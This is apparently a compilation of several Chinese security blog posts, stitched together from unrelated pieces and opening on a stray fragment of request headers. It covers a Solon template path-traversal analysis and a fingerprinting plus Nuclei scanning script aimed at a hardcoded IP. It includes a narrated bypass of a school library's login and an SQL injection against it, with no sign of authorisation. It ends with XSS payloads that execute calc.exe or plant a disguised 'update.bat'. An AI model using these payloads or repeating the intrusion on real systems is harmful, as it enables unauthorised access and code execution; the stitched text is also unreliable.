console-c-4aff-9=429BD65834FAD60D489BC2F36DAF93C5; DWRSESSIONID=jvSHNTT66zO2\$Hjyb4sFS7vYdrp Upgrade-Insecure-Requests: 1 Priority: u=4 filename=conf 如下,下载成功:
Solon框架模板漏洞深度剖析与修复实战
前言 分析发现 Solon 框架在3.1.0版本上存在一个有意思的模板漏洞,对这个漏洞进行简单分析后,发现整个漏洞的利用链是非常有意思的。同时发现最新版的修复方式过于简单,询问 AI 后,AI 也认为修复也是不完善的安全修复,于是进行一系列的绕过尝试,最后还是没有利用成功,简单进行分享。 环境搭建 Solon 框架简介 Solon 是一个轻量级的 Java 应用开发框架,类似于 Spring Boot ,但更加轻量。支持多种模板引擎,包括 Beetl、FreeMarker、Velocity 等。在模板处理方面,Solon 采用了灵活的渲染器映射机制,也是出现这个漏洞的关键原因。 测试环境搭建 https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&project=maven&javaVer=1.8&&可以下载 solon 的项目模板 并进行修改 修改一下 pom.xml 文件 设置 solon 的版本为 3.1.0 将原本的视图插件 solon-view-freemarker 替换为以下的任意一种 <dependency>    <groupId>org.noear</groupId>    <artifactId>solon-view-enjoy</artifactId> </dependency> <dependency>    <groupId>org.noear</groupId>    <artifactId>solon-view-beetl</artifactId> </dependency> <dependency>    <groupId>org.noear</groupId>    <artifactId>solon-view-thymeleaf</artifactId> </dependency> <dependency>    <groupId>org.noear</groupId>    <artifactId>solon-view-velocity</artifactId> </dependency> ‍ 在 DemoController.java 中 添加代码 并启动运行    @Mapping("/templates")    public ModelAndView templates(Context ctx) throws IOException {        ModelAndView modelAndView = new ModelAndView(ctx.param("templates"));        return modelAndView;   } 漏洞验证与分析 漏洞验证 我们选用视图插件solon-view-velocity,不同的视图插件对跨目录的处理有所不同,之后会对此进行详细解释 <dependency>    <groupId>org.noear</groupId>    <artifactId>solon-view-velocity</artifactId> </dependency> 可以看到传入的参数通过 ../ 实现了跨目录的文件读取并将内容解析到页面上 核心调用链分析 通过调试对这个漏洞进行分析 遇到这种情况有一个小的 tips 我们可以通过尝试加载一个不存在的文件,这样 idea 的控制台中会输出相对详细的调用链,方便我们下断点进行调试分析。 org.noear.solon.core.handle.RenderManager#render 这里会根据文件后缀来选择视图插件,如果没有匹配的就选择用默认渲染器来处理 org.noear.solon.view.velocity.VelocityRender#render org.noear.solon.view.velocity.VelocityRender#render_mav org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String, java.lang.String) org.apache.velocity.runtime.resource.ResourceManagerImpl#getResource ‍ 整体流程顺下来应该是 用户输入 → Context.param() → ModelAndView() → RenderManager.render()→ 模板引擎处理 在模板引擎处理之前没有对模板文件的路径进行处理和限制,这样一来如果模板引擎处理的时候没有对模板文件的路径进行处理时,就会产生任意文件读取漏洞。 我们可以尝试看看利用别的视图插件看看效果如何。 solon-view-freemarker 为什么不可以 我们看到 freemarker 对 模板文件的路径进行了处理,不允许跨目录的访问 org.noear.solon.view.freemarker.FreemarkerRender#render org.noear.solon.view.freemarker.FreemarkerRender#render_mav freemarker.template.Configuration#getTemplate(java.lang.String, java.lang.String) freemarker.template.Configuration#getTemplate(java.lang.String, java.util.Locale, java.lang.Object, java.lang.String, boolean, boolean) freemarker.cache.TemplateCache#getTemplate(java.lang.String, java.util.Locale, java.lang.Object, java.lang.String, boolean) 调用 name = templateNameFormat.normalizeRootBasedName(name); 来对传入的模板文件名进行处理 freemarker.cache.TemplateNameFormat.Default020300#normalizeRootBasedName 对传入的参数进行规范化处理,以确保安全并处理路径中的特殊序列。 漏洞修复 org.noear.solon.core.handle.RenderManager#getViewRender 我们注意到修复方式是添加了这一部分代码 if (mv.view().contains("../") || mv.view().contains("..\\")) {            // '../','..\' 不安全            throw new IllegalStateException("Invalid view path: '" + mv.view() + "'");       } 看起来处理方式简单粗暴,实际上是非常有效的 用户输入 → Context.param() → ModelAndView() → RenderManager.render()→ RenderManager.getViewRender()安全检测 →模板引擎处理 在模板引擎处理之前就添加了对传入路径的检测,一次 url 编码无法绕过,两次 url 编码虽然可以绕过检测,但是实际处理时,找不到文件所在的位置,再加上并不是从根目录开始读取文件的,最前面还存在目录限制,所以这样一来就无法利用这个漏洞了。
指纹识别+精准化POC攻击
开发目的 解决漏洞扫描器的痛点 第一就是扫描量太大,对一个站点扫描了大量的无用 POC,浪费时间 指纹识别后还需要根据对应的指纹去进行 payload 扫描,非常的麻烦 开发思路 我们的思路大体分为指纹+POC+扫描 所以思路大概从这几个方面入手 首先就是 POC,我们得寻找一直在更新的 POC,而且是实时更新的,因为自己写的话有点太费时间了 但是这 POC 的决定是根据我们扫描器来的,因为世面上已经有许多不错的扫描器了,目前打算使用的是 nuclei 扫描器 https://github.com/projectdiscovery/nucleiNuclei 是一种现代、高性能的漏洞扫描程序,它利用基于 YAML 的简单模板。它使您能够设计自定义漏洞检测场景,以模拟真实世界的条件,从而实现零误报。 目前也在不断维护更新,当然还有 Xray,Goby 等工具也是不错的选择 然后回到指纹识别技术,这个需要大量的指纹样本,但是世面上的各种工具已经可以做得很好了 指纹识别 这里就的学习一下指纹识别的技术 首先我们需要知道收集指纹目前大概有哪些方法 指纹识别方式 特定文件 比如举一个例子,我们通常是如何判断一个框架是 thinkphp 呢? 我们随便找几个 thinkphp 的网站 特征就是它的图标是非常明显的 可以看到图标都是一样的,目前 fofa 和 hunter 已经有这种查找的方法了,一般都是把我们的图标换算为我们的 hash 值 这个就是我们的 favicon.ico 图标 一般网站是通过在路径后加入 favicon.ico 比如http://xxxxxx/favicon.ico 然后就能获取这个图标了,而在 fofa 中可以直接拖动查询了,可以直接算出 hash 值 比如 thinkphp 的 然后再次查询 全是 tp 的网站参考https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md 当然除了我们的 ico 文件,还有其他很多的文件 一些网站的特定图片文件、js 文件、CSS 等静态文件,如 favicon.ico、css、logo.ico、js 等文件一般不会修改,通过爬虫对这些文件进行抓取并比对 md5 值,如果和规则库中的 Md5 一致则说明是同一 CMS。这种方式速度比较快,误报率相对低一些,但也不排除有些二次开发的 CMS 会修改这些文件。 页面关键字 比如 tp 的错误页面大多数都是 我们 body 就可以包含这个关键字了 或者可以构造错误页面,根据报错信息来判断使用的 CMS 或者中间件信息,比较常见的如 tomcat 和 spring 的报错页面。根据 response header 一般有以下几种识别方式: 请求头关键字 根据网站 response 返回头信息进行关键字匹配,这个一般是 ningx 这种 能够识别我们的服务器 URL 路径 根据总结wordpress 默认存在 wp-includes 和 wp-admin 目录,织梦默认管理后台为 dede 目录,solr 平台可能使用/solr 目录,weblogic 可能使用 wls-wsat 目录等。 大部分还是根据我们的 body 然后点一个进去 可以看到都是我们的 wordPress 的站点 指纹识别方法 有了我们上面的识别技术,那么我们大概是如何来识别一个指纹的呢 首先使用 python 简单举一个实现 首先就是需要一个配置文件,这个配置文件就需要包含我们的大体指纹和验证方法 - name: ThinkPHP matchers:  - type: header    rule: X-Powered-By    keyword: ThinkPHP  - type: body    keyword: "http://www.thinkphp.cn"  - type: banner    keyword: thinkphp  - type: path    path: /thinkphp/library/think/    keyword: class  - type: favicon_hash    hash: 1165838194 然后就是我们的后端处理逻辑了 import yaml import requests import socket import base64 import mmh3 def get_http_response(url, path=""):    try:        full_url = url.rstrip("/") + path        return requests.get(full_url, timeout=5)    except:        return None def get_tcp_banner(ip, port=80):    try:        with socket.create_connection((ip, port), timeout=5) as s:            banner = s.recv(1024).decode(errors="ignore")            return banner    except:        return "" def get_favicon_hash(url):    try:        res = requests.get(url.rstrip("/") + "/favicon.ico", timeout=5)        favicon = base64.encodebytes(res.content)        return mmh3.hash(favicon.decode('utf-8'))    except:        return None def load_fingerprints(path="fingerprints.yaml"):    with open(path, "r", encoding="utf-8") as f:        return yaml.safe_load(f) def match_fingerprint(url, ip=None):    fingerprints = load_fingerprints()    results = []    res = get_http_response(url)    banner = get_tcp_banner(ip or url.replace("http://", "").replace("https://", ""), 80)    favicon_hash = get_favicon_hash(url)    for fp in fingerprints:        matched = False        for matcher in fp["matchers"]:            if matcher["type"] == "header" and res:                if matcher["rule"] in res.headers and matcher["keyword"].lower() in res.headers[matcher["rule"]].lower():                    matched = True            elif matcher["type"] == "body" and res:                if matcher["keyword"].lower() in res.text.lower():                    matched = True            elif matcher["type"] == "banner":                if matcher["keyword"].lower() in banner.lower():                    matched = True            elif matcher["type"] == "path":                res2 = get_http_response(url, matcher["path"])                if res2 and matcher["keyword"].lower() in res2.text.lower():                    matched = True            elif matcher["type"] == "favicon_hash":                if favicon_hash == matcher["hash"]:                    matched = True        if matched:            results.append(fp["name"])    return results # 示例使用 if __name__ == "__main__":    target_url = "http://101.200.50.94:8009/"    result = match_fingerprint(target_url)    print("识别结果:", result) 大体逻辑就是这样了 首先就是 yaml 文件为我们的判断依据,对应不同的判断方法我们都有对应的后端处理 一个是对 body 的处理,一个是对 hash 文件的处理 然后再根据规则去匹配 匹配成功输出结果 当然这只是一个简单的逻辑,如果需要实现更高高效快捷第一就是指纹库,第二就是代码运行的速率,提高线程 最终识别代码 首先就是指纹库的获取,这个的话我们就不直接获取了,使用的是 EHole 的指纹库 我们大概看看部分代码 { "fingerprint": [{ "cms": "seeyon", "method": "keyword", "location": "body", "keyword": ["/seeyon/USER-DATA/IMAGES/LOGIN/login.gif"] }, { "cms": "seeyon", "method": "keyword", "location": "body", "keyword": ["/seeyon/common/"] }, { "cms": "Spring env", "method": "keyword", "location": "body", "keyword": ["servletContextInitParams"] }, { "cms": "微三云管理系统", "method": "keyword", "location": "body", "keyword": ["WSY_logo","管理系统 MANAGEMENT SYSTEM"] }, { "cms": "Spring env", "method": "keyword", "location": "body", "keyword": ["logback"] }, { "cms": "Weblogic", "method": "keyword", "location": "body", "keyword": ["Error 404--Not Found"] }, { "cms": "Weblogic", "method": "keyword", "location": "body", "keyword": ["Error 403--"] } { "cms": "Atlassian – JIRA", "method": "faviconhash", "location": "body", "keyword": ["981867722"] }, { "cms": "OpenStack", "method": "faviconhash", "location": "body", "keyword": ["-923088984"] }, { "cms": "Aplikasi", "method": "faviconhash", "location": "body", "keyword": ["494866796"] }, { "cms": "Ubiquiti Aircube", "method": "faviconhash", "location": "body", "keyword": ["1249285083"] } 简单看了一下逻辑可以发现和我们的指定方法应该差不多,逻辑就是首先根据 method 去选择方法,一个是 keyword 方法,一个是 faviconhash 方法,是一个大的判断,然乎下面就是根据具体的比如 body,title 等去识别了 代码如下 import json import requests import hashlib import base64 from bs4 import BeautifulSoup from urllib.parse import urljoin from concurrent.futures import ThreadPoolExecutor, as_completed import argparse # 加载指纹 def load_fingerprints(file='finger.json'):    with open(file, 'r', encoding='utf-8') as f:        data = json.load(f)        if "fingerprint" in data:            return data["fingerprint"]        raise ValueError("指纹文件格式不正确,应包含 'fingerprint' 字段。") # 获取 HTTP 响应 def get_http_response(url):    try:        headers = {            "User-Agent": "Mozilla/5.0"       }        return requests.get(url, headers=headers, timeout=8, verify=False)    except:        return None # 计算 favicon hash def get_favicon_hash(url):    try:        favicon_url = urljoin(url, '/favicon.ico')        res = requests.get(favicon_url, timeout=5, verify=False)        if res.status_code == 200:            m = hashlib.md5()            b64 = base64.b64encode(res.content)            m.update(b64)            return int(m.hexdigest(), 16)    except:        return None # 匹配单条指纹 def match_one(fpr, res, fav_hash):    method = fpr["method"]    loc = fpr.get("location", "body").lower()    kws = fpr["keyword"]    if method == 'keyword':        text_body = res.text or ""        text_head = "\n".join(f"{k}: {v}" for k, v in res.headers.items())        # 处理 title 和 header 等        if loc == 'header':            spaces = [text_head, text_body]        elif loc == 'title':            soup = BeautifulSoup(text_body, "html.parser")            title = soup.title.string if soup.title and soup.title.string else ""            spaces = [title, text_body]        elif loc == 'body':            spaces = [text_body]        else:            spaces = [text_body]        for space in spaces:            for kw in kws:                if kw.lower() in space.lower():                    return True    if method == 'faviconhash' and fav_hash is not None:        for kw in kws:            try:                if fav_hash == int(kw):                    return True            except:                continue    return False # 识别单个 URL 指纹 def match_fingerprint(url, fps=None):    fps = fps or load_fingerprints()    res = get_http_response(url)    fav_hash = get_favicon_hash(url)    matched = []    for fpr in fps:        if 'cms' not in fpr or 'method' not in fpr or 'keyword' not in fpr:            continue        if match_one(fpr, res, fav_hash):            matched.append(fpr['cms'])    print(f"[✓] {url} 指纹识别结果:{list(set(matched))}")    return {url: list(set(matched))} # 多线程执行 def run_multithread(urls, threads):    fps = load_fingerprints()    results = []    with ThreadPoolExecutor(max_workers=threads) as executor:        future_to_url = {executor.submit(match_fingerprint, url, fps): url for url in urls}        for future in as_completed(future_to_url):            results.append(future.result())    return results # 主程序入口 def main():    parser = argparse.ArgumentParser(description="指纹识别脚本 - 支持多线程")    group = parser.add_mutually_exclusive_group(required=True)    group.add_argument("-u", "--url", help="单个目标 URL")    group.add_argument("-f", "--file", help="包含多个 URL 的文件")    parser.add_argument("-t", "--threads", type=int, default=10, help="线程数(默认10)")    args = parser.parse_args()    if args.url:        match_fingerprint(args.url)    elif args.file:        with open(args.file, 'r', encoding='utf-8') as f:            urls = [line.strip() for line in f if line.strip()]        results = run_multithread(urls, args.threads) if __name__ == '__main__':    main() 加入了支持多线程和支持多目标的思路 结合漏洞扫描 我们光目标识别后,还需要实现精准化打击,正好 Nuclei 引擎支持根据 tag 去寻找我们的目标,完美了 实现思路就是首先寻找我们的 tag,然后在漏洞库里面查询,把有 tag 的和没有 tag 的分别分开放好,然后根据有 tag 的去精准化识别运行,完成最后的精准化 POC 攻击 初步的代码如下 import json import os import threading import time import base64 import hashlib import requests import argparse from bs4 import BeautifulSoup from urllib.parse import urljoin from concurrent.futures import ThreadPoolExecutor, as_completed from queue import Queue requests.packages.urllib3.disable_warnings() # ---------- 指纹识别部分 ---------- def load_fingerprints(file='finger.json'):    with open(file, 'r', encoding='utf-8') as f:        data = json.load(f)        return data["fingerprint"] def get_http_response(url):    try:        headers = {"User-Agent": "Mozilla/5.0"}        return requests.get(url, headers=headers, timeout=8, verify=False)    except:        return None def get_favicon_hash(url):    try:        favicon_url = urljoin(url, '/favicon.ico')        res = requests.get(favicon_url, timeout=5, verify=False)        if res.status_code == 200:            m = hashlib.md5()            b64 = base64.b64encode(res.content)            m.update(b64)            return int(m.hexdigest(), 16)    except:        return None def match_one(fpr, res, fav_hash):    method = fpr["method"]    loc = fpr.get("location", "body").lower()    kws = fpr["keyword"]    if method == 'keyword':        text_body = res.text or ""        text_head = "\n".join(f"{k}: {v}" for k, v in res.headers.items())        if loc == 'header':            spaces = [text_head]        elif loc == 'title':            soup = BeautifulSoup(text_body, "html.parser")            title = soup.title.string if soup.title and soup.title.string else ""            spaces = [title]        else:            spaces = [text_body]        for space in spaces:            for kw in kws:                if kw.lower() in space.lower():                    return True    elif method == 'faviconhash' and fav_hash is not None:        for kw in kws:            try:                if fav_hash == int(kw):                    return True            except:                continue    return False def match_fingerprint(url, fps):    res = get_http_response(url)    fav_hash = get_favicon_hash(url)    matched = []    for fpr in fps:        if 'cms' not in fpr or 'method' not in fpr or 'keyword' not in fpr:            continue        if match_one(fpr, res, fav_hash):            matched.append(fpr['cms'])    print(f"[✓] {url} 指纹识别结果:{list(set(matched))}")    return {"url": url, "cms": list(set(matched))[0] if matched else ""} def run_fingerprint_scan(urls, threads, output='res.json'):    fps = load_fingerprints()    results = []    with ThreadPoolExecutor(max_workers=threads) as executor:        future_to_url = {executor.submit(match_fingerprint, url, fps): url for url in urls}        for future in as_completed(future_to_url):            results.append(future.result())    with open(output, 'w', encoding='utf-8') as f:        json.dump(results, f, ensure_ascii=False, indent=2) # ---------- Nuclei 扫描部分 ---------- class AutoNuclei:    def __init__(self, res_file='res.json', tag_file='C:\\Users\\86135\\nuclei-templates\\TEMPLATES-STATS.json', thread_count=5):        self.res_file = res_file        self.tag_file = tag_file        self.havetag_file = 'havetag.txt'        self.notag_file = 'notag.txt'        self.result_dir = 'result'        self.thread_count = thread_count        self.cms_targets = {}         # {cms: [url1, url2]}        self.nuclei_tags = set()        self.tagged_targets = {}      # {tag: [url1, url2]}        self.untagged_targets = []        self.task_queue = Queue()        self.load_res_json()        self.load_tags()        self.classify_targets()        self.save_targets()        self.start_scan_threads()    def load_res_json(self):        with open(self.res_file, 'r', encoding='utf-8') as f:            data = json.load(f)        for entry in data:            cms = entry.get("cms", "").lower()            url = entry.get("url")            if cms and url:                self.cms_targets.setdefault(cms, []).append(url)    def load_tags(self):        with open(self.tag_file, 'r', encoding='utf-8') as f:            tags_data = json.load(f)        for item in tags_data.get("tags", []):            if item["name"]:                self.nuclei_tags.add(item["name"].lower())    def classify_targets(self):        for cms, urls in self.cms_targets.items():            if cms in self.nuclei_tags:                self.tagged_targets.setdefault(cms, []).extend(urls)            else:                self.untagged_targets.extend(urls)    def save_targets(self):        with open(self.havetag_file, 'w', encoding='utf-8') as f:            for tag, urls in self.tagged_targets.items():                for url in urls:                    f.write(f"{tag}||{url}\n")        with open(self.notag_file, 'w', encoding='utf-8') as f:            for url in self.untagged_targets:                f.write(url + '\n')        if not os.path.exists(self.result_dir):            os.makedirs(self.result_dir)    def scan_worker(self):        while not self.task_queue.empty():            try:                tag, url = self.task_queue.get(timeout=1)                target_file = f"temp_{int(time.time() * 1000)}.txt"                with open(target_file, 'w', encoding='utf-8') as f:                    f.write(url)                output_file = os.path.join(self.result_dir, f"{tag}_{int(time.time())}.txt")                cmd = f"F:\\gj\\Vulnerability_Scanning\\nuclei\\nuclei.exe -l {target_file} -tags {tag} -o {output_file} -stats"                print(f"[+] 扫描任务启动: {url} -> {tag}")                os.system(cmd)                os.remove(target_file)            except Exception as e:                print(f"[!] 线程错误: {e}")    def start_scan_threads(self):        for tag, urls in self.tagged_targets.items():            for url in urls:                self.task_queue.put((tag, url))        threads = []        for _ in range(self.thread_count):            t = threading.Thread(target=self.scan_worker)            t.start()            threads.append(t)        for t in threads:            t.join()        print("[✓] 所有扫描任务完成!") # ---------- 主程序入口 ---------- def main():    parser = argparse.ArgumentParser(description="指纹识别 + Nuclei自动化工具")    group = parser.add_mutually_exclusive_group(required=True)    group.add_argument("-u", "--url", help="目标 URL")    group.add_argument("-f", "--file", help="URL列表文件")    parser.add_argument("--fp-threads", type=int, default=10, help="指纹识别线程数")    parser.add_argument("--scan-threads", type=int, default=5, help="Nuclei 扫描线程数")    args = parser.parse_args()    urls = []    if args.url:        urls = [args.url]    elif args.file:        with open(args.file, 'r', encoding='utf-8') as f:            urls = [line.strip() for line in f if line.strip()]    print("[*] 正在执行指纹识别...")    run_fingerprint_scan(urls, threads=args.fp_threads, output='res.json')    print("[*] 指纹识别完成,开始 Nuclei 扫描...")    AutoNuclei(        res_file='res.json',        tag_file=os.path.join(os.environ['USERPROFILE'], 'nuclei-templates', 'TEMPLATES-STATS.json'),        thread_count=args.scan_threads   ) if __name__ == '__main__':    main()
记一次前端逻辑绕过登录到内网挖掘
前言 在测试一个学校网站的时候,发现一个未授权访问内网系统,但是这个未授权并不是接口啥的,而是对前端 js的审计和调试发现的漏洞,这里给大家分享一下这次的漏洞的过程。 进入内网的过程 可以看到是一个图书馆的网站,但是只有登录了内网才能访问图书馆的资源,这个能够理解嘛,毕竟大学的图书馆资源都是内部资源 然后随便尝试登录一下 会检验我的 ip,ctf 学习的如何伪造 ip,可以用起来了 发现还是不可以,emmm,可能伪造得不对,fuzz 一波 全包 400 了,我去,检查一手 原来是给我们 url 编码了,所以这里给各位说一下,当你遇到这个问题的时候,你就需要去设置一个小东西 取消 没有区别,emmm 还是不行 难道真的要不行了吗 我尝试直接去 js 代码中看看,是不是在 js 中的限制,或者查找一下获取我的 ip 的逻辑,尝试有没有别的伪造方法 然后我们定位到 js 的代码 else if (state == '2'){ $("#login_error").html('您的IP不在授权区域'); return false; } 发现是根据 state 来确定的 var state = $.trim(msg); 而 state 又来自于 msg 然后我们发现了关键代码 function check_login($url) {   var name   = $("#name").val(); var passwd = $("#passwd").val(); var remme  = $("#checkboxindex").val(); if(remme == 1){ setCookie('dydlname', name ); setCookie('dydlpasswd', passwd ); } else{ setCookie('dydlname'); setCookie('dydlpasswd'); } $.ajax({ type : "POST", async : true, url : "../ucheck.php", data : "name=" + name +"&passwd=" + passwd, success : function(msg) { var state = $.trim(msg); //alert (state); //alert (msg); //state[0] = 6; if (state == '1') { window.location.href=$url; //alert ($url); return true; } else if (state == '2'){ $("#login_error").html('您的IP不在授权区域'); return false; } else if (state == '3'){ $("#login_error").html('用户名或密码错误'); return false; } else if (state == '6'){ showNotice(); return false; } } }); } 简单看一看 var name = $("#name").val(); var passwd = $("#passwd").val(); var remme = $("#checkboxindex").val(); name 获取用户输入的用户名,使用的是 jQuery 来从 id 为 #name 的输入框中提取值。 passwd 获取用户输入的密码,提取自 id 为 #passwd 的输入框。 remme 获取用户是否选择了“记住密码”的选项,提取自 id 为 #checkboxindex 的复选框 记住密码的逻辑是 if(remme == 1){    setCookie('dydlname', name );    setCookie('dydlpasswd', passwd ); } else {    setCookie('dydlname');    setCookie('dydlpasswd'); } 如果用户选择了“记住密码”(remme == 1),代码会调用 setCookie 函数设置两个 cookie,分别存储用户名 (dydlname) 和密码 (dydlpasswd)。 如果用户未选择记住密码,代码会清除这些 cookie。 嘿嘿嘿,那如果能够获得别人的 cookie,那么我们就可以直接获取账号和密码了 我们看看 cookie 的逻辑 /* 添加/删除 cookie */ function setCookie(name, value, exdays, path) { var exdate = new Date(); exdays = exdays || 365; exdate.setDate(exdate.getDate() + exdays); if(value === null) { value = ''; exdays = -3; } document.cookie = name + '=' + encodeURIComponent(value) + ((typeof exdays === 'undefined') ? '' : ';expires=' + exdate.toGMTString()) ; } 先就是设置一下 cookie 的过期时间,然后就是设置 cookie 的值 document.cookie = name + '=' + encodeURIComponent(value) + ((typeof exdays === 'undefined') ? '' : ';expires=' + exdate.toGMTString()); encodeURIComponent 对 value 进行 URL 编码,防止特殊字符导致 Cookie 无效或出现错误。 我们看处理服务器响应的部分 状态码 1: 登录成功 if (state == '1') {   window.location.href = $url;   return true; } 如果状态码是 1,则认为登录成功,跳转到传入的 $url 页面。 状态码 2: IP 不在授权区域 else if (state == '2'){   $("#login_error").html('您的IP不在授权区域');   return false; } 如果状态码是 2,提示“您的 IP 不在授权区域”。 状态码 3: 用户名或密码错误 else if (state == '3'){   $("#login_error").html('用户名或密码错误');   return false; } 如果状态码是 3,提示“用户名或密码错误”。 状态码 6: 显示通知信息 else if (state == '6'){   showNotice();   return false; } 如果状态码是 6,调用 showNotice() 函数,可能会弹出一些通知或消息提醒。 首先看一下 6 然后我们检查回显 好的没有有用的信息,然后我们就回到改成 1 调试 js 成功进入了分支,然后会跳转 url 到 index.php 但是发现页面任然没有什么变化,???? 尝试直接访问 直接 302 跳转了 但是必须进内网才可以啊 我又在这里磨了很久,发现早都成功了 其实虽然 302 了,但是资源还是可以访问到的 然后全是这个学校的内部的文献 sql 注入的发现 但是可惜的是只能在 bp 中操作,所以很不方便,我看源码,然后找到一些文件,尝试一下爆破目录,看看有没有价值的目录,比如admin,因为内网的话弱口令很多的 当时爆了一会,这个网站直接就崩溃了,不敢爆了,全是别人学校的内步藏书 当时 502 差点没有把我吓死我去,然后就是 随便访问一下 不能爆破目录,只能去尝试 sql 注入了 然后成功了 wc 有 sql 注入,然后下面就开始 sql 注入吧 可以看到注释后成功了 sql 注入无限尝试 首先尝试万能密码 md,发不出去包 就很离谱 然后尝试一下基本的语句,看看哪里出了问题 连基本的 or 1=1 都不可以,发不出去包,很奇怪 or 被过滤了或者=被过滤了?? 尝试一下 or 等于符号 都没有被过滤啊??,但是组合在一起就不可以了,奇怪啊 尝试 order by 看看 10000 都没有反应 尝试盲注 1'and%20length((select%20database()))>1%23 好像是可以的?? 改成小于看看结果 1'and%20length((select%20database()))<1%23 但是没有任何区别??? 奇怪了我去 尝试时间盲注 1'and%20sleep(5)%23 发不过去包了 我把 sleep 的数字给去掉就可以了 应该是过滤了 sleep(数字)这种类型?? 还专门看了一下语法的错误 确实是没有问题的,本地都是可以的 然后灵机一动,我输入小数 本地是可以的,在环境中尝试一手 至此 sql 注入验证成功 sql 验证就够了,不敢乱打,sqlmap 我都害怕给它扫没有了 最后 声明:文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
从XSS到“RCE”的PC端利用链构建
前言 先铺垫一下。笔者有一个习惯,懒得记各种命令和payload,手工渗透测试时,遇到比较长的payload的情况下,不想一个一个地去手敲命令,于是我之前就在github上想寻找一个类似于记事本的软件,但是最好和我的记录命令的需求适配,于是就找到了一位师傅写的开源项目,一个专门用来记录命令的记事本,一直沿用至今,很方便哈哈 偶然邂逅 昨天,我在逛一些技术帖子的时候,看到一位大师傅分享的XSS payload,当时觉得这个payload我没咋见过捏,于是就想着来分析分析,我们看看这个payload妙在哪些地方? <input style=content-visibility:auto oncontentvisibilityautostatechange="alert(1)"> 1. 利用冷门事件,规避黑名单过滤 经典绕过手法,使用冷门事件规避黑名单,oncontentvisibilityautostatechange 是一个与 content-visibility CSS属性关联的事件,很少被XSS防御规则收录。传统过滤器通常针对常见事件(如onload、onerror)。于是此事件因冷门性更易绕过检测。并且,当元素的content-visibility状态如从隐藏变为可见时,事件会自动触发,无需用户交互,就能实现"静默"攻击。 2. 合法CSS属性掩护恶意逻辑 合法的样式属性content-visibility: auto 是标准的性能优化CSS属性,用于延迟渲染非视口内容。该属性本身无害,可轻松通过内容安全策略(CSP)或过滤器的白名单检查。样式与事件逻辑紧密结合,攻击行为被隐藏在合法功能中 3. input低风险标签优势 使用<input>标签相比于<script>或<img>等高风险标签,<input>通常被视为安全元素,可能会被更大程度地允许在用户输入中使用(如评论框),从而绕过标签黑名单。 于是,这么好的payload,按照笔者的习惯那肯定得记录下来呀,又多积累了一个绕过的payload。 于是我把这个payload贴到这个工具上去(windows客户端版本) 结果,惊喜出现了,这个客户端居然直接弹窗了,执行了该payload 有点意思 临时抱佛脚 XSS在web端的利用面其实不算很多,盗cookie,钓鱼,挂马,水坑,结合CSRF打组合拳,蠕虫等等,但是客户端的XSS利用面就很广了,在一定条件下甚至能直接RCE! 客户端的XSS大致能怎么利用呢?我也不会,PC端的东西还没有系统学习过,问一下AI呗,主打一个现学现用哈哈哈(大佬们轻喷) 下面简单总结一下,抛砖引玉: 1. 系统级权限逃逸(RCE) Electron/Node.js场景 若客户端基于Electron框架且未启用nodeIntegration: false等安全配置,XSS可直接调用child_process模块执行系统命令。 示例:<script>require('child_process').exec('calc.exe')</script>弹出计算器 Java WebView/JNI调用: Android WebView若启用setJavaScriptEnabled(true)并绑定Java接口,XSS可通过反射调用敏感API。 2. 本地敏感数据窃取 本地文件系统遍历: 利用FileReader/fetch读取客户端配置文件(如file://协议访问),窃取数据库凭证或加密密钥。 案例:读取Electron应用的localStorage.json或IndexedDB数据。 剪贴板劫持: 监控document.oncopy/onpaste事件,篡改加密货币钱包地址实现资产转移。 3. 硬件设备控制 摄像头/麦克风滥用: 通过navigator.mediaDevices.getUserMedia()静默启用设备,实现监控。 蓝牙/USB渗透: 调用客户端绑定的硬件API(如Web Bluetooth),扫描配对设备并注入恶意固件。 4. 客户端供应链污染 自动更新劫持: 篡改客户端自动更新逻辑(如替换update.json),强制下载捆绑恶意代码的版本。 插件系统攻击: 针对插件化架构(如VSCode扩展),通过XSS注入恶意插件代码实现持久化。 5. 横向移动与组合攻击 自定义协议滥用(Deep Link): 利用myapp://协议调用其他应用,结合已知漏洞链扩大攻击面(如启动存在RCE漏洞的PDF阅读器)。 内存漏洞触发: 通过XSS精准覆盖缓冲区,触发客户端依赖库的0day漏洞(如旧版Chromium漏洞)。 6. 社会工程增强 高仿系统弹窗: 利用客户端GUI特性伪造系统权限请求窗口(如"输入密码以更新"),诱导用户泄露敏感信息。 本地网络探测: 通过WebRTC获取内网IP,扫描局域网设备(如路由器管理界面),结合默认凭据进一步渗透。 曲线救国 一下列举了这么多利用思路,好多我也不会哈哈,不过没关系,遇到了再去利用再去深入学习嘛 于是我尝试看看我这个案例能不能RCE呢…… 其实最直接RCE的方式就是,当客户端基于Electron框架且未启用nodeIntegration: false等安全配置时,直接就能构造出RCE的payload了,而且可以做到无感RCE,就是不需要用户有过多的交互。 <input style=content-visibility:auto oncontentvisibilityautostatechange="require('child_process').exec('calc.exe')"> 但是……很遗憾,这个工具不是基于Electron框架开发的,上面的payload不适用。那么就基本无法实现无感RCE了 不过可以这样,曲线救国,实现一个比较鸡肋的"RCE",就是需要用户的一些交互才能完成。 比如,写入一个bat文件,取名叫什么update.bat,欺骗用户保存bat文件,并点击运行,严格来说不能算真正的RCE,因为客户端的RCE强调无感,我这个只能算曲线救国 我们直接构造一个写入bat文件的payload(但是需要用户手动保存) <input style=content-visibility:auto oncontentvisibilityautostatechange="(async()=>{const f=await window.showSaveFilePicker({suggestedName:'update.bat',types:[{accept:{'application/bat':['.bat']}}]});const w=await f.createWritable();await w.write('start /min calc.exe');await w.close();})()">(async()  const f = await window.showSaveFilePicker({    suggestedName: 'update.bat',    types: [{accept: {'application/bat': ['.bat']}}] });  const w = await f.createWritable(); //创建可写流,f.createWritable()生成写入流,避免一次性加载内容到内存。  await w.write('start /min calc.exe'); //写入恶意命令,start /min calc.exe 会以最小化窗口启动计算器,实际攻击中可替换为恶意脚本  await w.close(); })() 简单分析一下payload的逻辑: 用到的核心API是showSaveFilePicker 他是现代浏览器API,用于请求用户保存文件,弹出系统级保存对话框。 关键参数 suggestedName: 'update.bat' types: [{accept: 